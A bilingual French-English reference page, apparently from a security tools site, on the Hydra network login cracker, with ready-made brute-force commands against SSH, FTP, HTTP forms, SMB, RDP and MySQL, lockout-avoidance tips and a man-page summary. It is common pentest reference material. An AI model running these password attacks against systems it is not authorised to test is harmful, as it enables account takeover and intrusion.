retour aux outils back to tools Ducklings

Hydra

Craqueur de connexions réseau rapide supportant des dizaines de protocoles : SSH, FTP, HTTP, SMB, et plus encore. Fast network login cracker supporting dozens of protocols — SSH, FTP, HTTP, SMB, and more.

↗ https://github.com/vanhauser-thc/thc-hydra

Overview

Hydra is the go-to tool for online brute-force attacks against network services. It supports parallelised attacks across 50+ protocols.

Common Usage

# SSH
hydra -l admin -P rockyou.txt ssh://10.10.10.1
hydra -L users.txt -P passwords.txt ssh://10.10.10.1 -t 4

FTP

hydra -l admin -P rockyou.txt ftp://10.10.10.1

HTTP POST form

hydra -l admin -P rockyou.txt 10.10.10.1 http-post-form \
  "/login:username=^USER^&password=^PASS^:Invalid credentials"

HTTP GET (Basic Auth)

hydra -l admin -P rockyou.txt http-get://10.10.10.1/admin

SMB

hydra -L users.txt -P passwords.txt smb://10.10.10.1

RDP

hydra -l administrator -P rockyou.txt rdp://10.10.10.1 -t 1

MySQL

hydra -l root -P rockyou.txt mysql://10.10.10.1

Tips

  • Use -t to limit threads (some services lock after N failures)
  • -v verbose, -V shows each attempt
  • -s <port> to specify non-standard port
  • For HTTP forms: inspect the login request in Burp to get the exact POST format and failure string
Help / Man page 
hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]]
      [-e nsr] [-o FILE] [-t TASKS] [-M FILE] [-f] [-s PORT]
      [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46]
      [-m MODULE-OPT] [service://server[:PORT][/OPT]]

TARGET OPTIONS:
  -l LOGIN      Single username
  -L FILE       Username list
  -p PASS       Single password
  -P FILE       Password list
  -C FILE       Colon-separated login:pass file
  -M FILE       List of servers to attack

SERVICE OPTIONS:
  service://server   e.g. ssh://10.10.10.1
  Supported: ftp, http-get, http-post-form, https-get,
             https-post-form, smb, ssh, rdp, mysql,
             mssql, postgres, smtp, pop3, imap, ...

PERFORMANCE:
  -t TASKS      Parallel tasks per host (default: 16)
  -f            Stop after first valid pair found
  -F            Stop after first valid pair per host

HTTP POST FORM FORMAT:
  "/path:post_data:failure_string"
  Use ^USER^ and ^PASS^ as placeholders
  Failure string: text that appears on failed login

OTHER:
  -e n    Try empty password
  -e s    Try login as password
  -e r    Try reversed login as password
  -v      Verbose, -V show each attempt
  -o FILE Save found credentials to file

Vue d’ensemble

Hydra est l’outil de référence pour les attaques par brute-force en ligne contre les services réseau. Il supporte des attaques parallélisées sur plus de 50 protocoles.

Utilisation courante

# SSH
hydra -l admin -P rockyou.txt ssh://10.10.10.1
hydra -L users.txt -P passwords.txt ssh://10.10.10.1 -t 4

# FTP
hydra -l admin -P rockyou.txt ftp://10.10.10.1

# Formulaire POST HTTP
hydra -l admin -P rockyou.txt 10.10.10.1 http-post-form \
  "/login:username=^USER^&password=^PASS^:Invalid credentials"

# HTTP GET (Authentification Basic)
hydra -l admin -P rockyou.txt http-get://10.10.10.1/admin

# SMB
hydra -L users.txt -P passwords.txt smb://10.10.10.1

# RDP
hydra -l administrator -P rockyou.txt rdp://10.10.10.1 -t 1

# MySQL
hydra -l root -P rockyou.txt mysql://10.10.10.1

Conseils

  • Utiliser -t pour limiter les threads (certains services bloquent après N échecs)
  • -v verbeux, -V affiche chaque tentative
  • -s <port> pour spécifier un port non standard
  • Pour les formulaires HTTP : inspecter la requête de connexion dans Burp pour obtenir le format POST exact et la chaîne d’échec
Aide / Page de manuel 
hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]]
      [-e nsr] [-o FILE] [-t TASKS] [-M FILE] [-f] [-s PORT]
      [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46]
      [-m MODULE-OPT] [service://server[:PORT][/OPT]]

TARGET OPTIONS:
  -l LOGIN      Single username
  -L FILE       Username list
  -p PASS       Single password
  -P FILE       Password list
  -C FILE       Colon-separated login:pass file
  -M FILE       List of servers to attack

SERVICE OPTIONS:
  service://server   e.g. ssh://10.10.10.1
  Supported: ftp, http-get, http-post-form, https-get,
             https-post-form, smb, ssh, rdp, mysql,
             mssql, postgres, smtp, pop3, imap, ...

PERFORMANCE:
  -t TASKS      Parallel tasks per host (default: 16)
  -f            Stop after first valid pair found
  -F            Stop after first valid pair per host

HTTP POST FORM FORMAT:
  "/path:post_data:failure_string"
  Use ^USER^ and ^PASS^ as placeholders
  Failure string: text that appears on failed login

OTHER:
  -e n    Try empty password
  -e s    Try login as password
  -e r    Try reversed login as password
  -v      Verbose, -V show each attempt
  -o FILE Save found credentials to file